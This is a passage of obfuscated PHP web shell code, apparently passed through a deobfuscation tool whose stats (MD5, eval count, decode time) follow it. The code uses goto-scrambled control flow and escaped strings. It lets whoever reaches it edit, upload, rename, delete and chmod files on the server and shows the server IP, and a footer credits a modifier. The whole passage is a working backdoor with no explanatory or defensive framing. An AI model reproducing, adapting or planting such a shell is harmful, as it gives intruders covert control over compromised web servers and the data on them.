</a></td><td><a href="?chmod=<?php echo e($path) . "\x26" . $edir; ?>
"class="btn"onclick='return chmod(this,"<?php echo substr(sprintf("\x25\x6f", @fileperms($path)), -4); ?>
")'><?php echo perms($path); ?>
</a></td><td><?php if (basename($path) !== "\x2e\56") { ?>
<a href="?delete=<?php echo e($path) . "\x26" . $edir; ?>
"class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete"></a><a href="?rename=<?php echo e($path) . "\x26" . $edir; ?>
"class="btn icon rename"onclick='return rename(this,"<?php echo basename($path); ?>
")'title="Rename"></a><?php if (!$d) { echo "\x3c\141\40\164\151\x74\x6c\x65\75\42\104\157\167\156\154\157\141\144\x22\x20\x63\154\141\163\x73\x3d\x22\x62\164\156\x20\151\143\157\156\x20\x64\x6f\167\156\x6c\157\x61\144\x22\40\150\x72\145\146\75\42\77\144\154\75" . e($path) . "\42\76\74\57\x61\x3e"; } } ?>
</td></tr><?php } goto ZG1F3; BabSE: echo $edir; goto lFXMO; d33NZ: $dirs = array(); goto cJ6U7; jlVUa: eMOpg: goto Lpk3v; HgZ6_: ?>
<br><form action="?<?php goto DfpIA; G2GFr: P16Sh: goto t71iH; YFojd: rBvqN: goto GlCeH; TqkBG: jicsp: goto SLnYm; lb6r4: goto JDqVU; goto AWZSS; ZW3i6: hKpRM: goto r4LxA; tEvY_: jnJQU: goto QYPM4; SY6UO: GKrTq: goto fCJbW; zbFjn: ?>
<br>SERVER IP:<?php goto hqxIj; jxdmx: fEYxs: goto I979M; a1CgJ: goto hKpRM; goto JDhoA; hdLWB: tzs1d: goto aMVZJ; DfpIA: goto m2IZa; goto QS__K; tLcTt: foreach ($_POST as $k => $v) { $_POST[$k] = d($v); } goto RvCsR; arc1b: goto c7Q09; goto ATGm_; JvvTO: if (isset($_GET["\146\151\154\x65"])) { if (isset($_POST["\x65\144\x69\x74"])) { if (@file_put_contents($_GET["\146\151\x6c\145"], $_POST["\x65\144\x69\x74"])) { echo "\x3c\163\160\x61\x6e\40\x63\154\141\x73\x73\75\x22\163\x75\x63\143\145\x73\163\42\x3e\x45\x44\111\x54\40\x53\x55\x43\103\x45\x53\123\41\x3c\x2f\x73\160\x61\x6e\x3e"; } else { echo "\74\163\160\x61\x6e\40\x63\x6c\141\163\163\x3d\x22\x66\x61\151\x6c\x65\144\x22\76\x45\x44\111\124\40\106\x41\x49\x4c\105\104\x21\x3c\57\x73\160\x61\x6e\76"; } } echo "\x3c\146\x6f\x72\x6d\40\x61\143\x74\x69\157\156\x3d\x22\77\x66\151\x6c\x65\75" . e($_GET["\x66\151\154\145"]) . "\x26" . $edir . "\42\40\155\145\164\x68\x6f\144\75\x22\160\157\x73\164\42\40\x6f\x6e\x73\x75\142\155\x69\x74\75\x22\145\x64\151\164\x2e\x76\141\154\165\x65\75\x65\50\x65\144\x69\x74\56\x76\141\154\x75\x65\51\42\76\74\164\x65\x78\x74\x61\x72\145\x61\40\151\x64\x3d\x22\145\144\151\164\42\x20\x6e\141\x6d\145\x3d\x22\145\144\151\164\42\76" . htmlspecialchars(file_get_contents($_GET["\146\151\x6c\x65"]), ENT_QUOTES | ENT_SUBSTITUTE | ENT_COMPAT, "\x55\124\x46\55\70") . "\74\57\x74\145\170\x74\141\x72\145\x61\x3e\74\142\x75\x74\x74\x6f\156\x3e\125\160\144\141\x74\x65\x3c\57\x62\165\x74\x74\157\156\x3e\74\x2f\146\x6f\162\x6d\76"; } goto jQ2H_; DmDlc: if (isset($_GET["\x72\145\x6e\x61\155\145"], $_GET["\156\145\167"])) { if (rename($_GET["\x72\x65\x6e\x61\x6d\145"], $dir . "\57" . basename($_GET["\x6e\x65\x77"]))) { echo "\x3c\163\160\x61\156\x20\x63\154\x61\163\x73\x3d\x22\163\x75\x63\x63\145\163\x73\x22\x3e\x52\105\116\101\115\105\x20\x53\x55\103\103\x45\x53\x53\41\74\x2f\163\160\141\x6e\x3e"; } else { echo "\x3c\163\x70\141\156\x20\x63\x6c\141\163\163\x3d\42\146\141\151\154\145\x64\42\76\x52\x45\116\x41\x4d\105\40\x46\101\x49\x4c\105\x44\x21\x3c\57\163\x70\x61\x6e\76"; } } goto d8MBa; ztKse: Dbb9T: goto DmDlc; lU1nm: ?>
">[Root Path]</a><a href="?dir=<?php goto LEolN; TE6wc: FaueU: goto fEgS8; VqOuq: goto KXE3_; goto l9Vh8; xsbkO: XlRbQ: goto VaQii; MFYuX: ?>
"enctype="multipart/form-data"method="post"><input class="<?php goto jh4C0; fCJbW: foreach ($_GET as $k => $v) { $_GET[$k] = d($v); } goto tDX3q; ngQKO: ini_set("\144\151\163\x70\x6c\x61\171\137\x73\x74\x61\162\164\165\160\137\145\x72\162\157\x72\x73", 1); goto IFH7w; M9_9I: goto q3FKZ; goto uZrZs; HZwZF: if (isset($_FILES["\146\x69\x6c\x65"])) { if (move_uploaded_file($_FILES["\x66\x69\x6c\x65"]["\x74\155\x70\137\x6e\141\155\145"], basename($_FILES["\146\x69\154\145"]["\156\141\x6d\x65"]))) { echo "\74\x73\160\x61\x6e\x20\143\x6c\x61\163\x73\x3d\42\163\x75\x63\143\145\x73\x73\42\x3e\125\x50\114\x4f\101\x44\x20\x53\x55\x43\103\105\123\x53\x21\74\x2f\163\160\141\x6e\76"; } else { echo "\74\x73\x70\141\x6e\40\143\x6c\141\163\x73\x3d\42\146\x61\x69\154\x65\x64\42\76\x55\120\x4c\117\101\x44\x20\106\101\111\x4c\105\x44\41\74\x2f\x73\160\x61\156\x3e"; } } goto EWbVT; kg7Xo: function perms($path) { clearstatcache(); $perms = fileperms($path); $x = array("\125", "\160", "\143", "\125", "\x64", "\x55", "\x62", "\x55", "\162", "\x55", "\x6c", "\x55", "\163", "\125", "\x55", "\x55"); $info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) { return $b == "\x31" ? $m : "\x2d"; }, str_split(decbin($perms & 4095) . ''), str_split("\162\x77\x78\x72\167\x78\x72\x77\170"))); return $info . "\40" . substr(sprintf("\x25\157", @fileperms($path)), -4); } goto L6qXL; lFXMO: goto UJMti; goto aH7m2; QX4z5: goto B1jhW; goto GJOkb; xzjkQ: XC1Yu: goto SaXIw; ZIJk6: wPxEo: goto r9GuX; pG48T: kewHO: goto Ck1bY; M1glt: OuL0o: goto j0t8m; GYuWP: ?>
</table>Modified By #YERSSSAS :: <a href="https://YERSSSAS.com/YERSSSAS">YERSSSAS.com/YERSSSAS</a> - <a href="https://YERSSSAS.com/">YERSSSAS.com</a></body></html>
Function Calls
None |
Stats
MD5 | dd4af54544e0ec23b41053f1f41c5801 |
Eval Count | 0 |
Decode Time | 60 ms |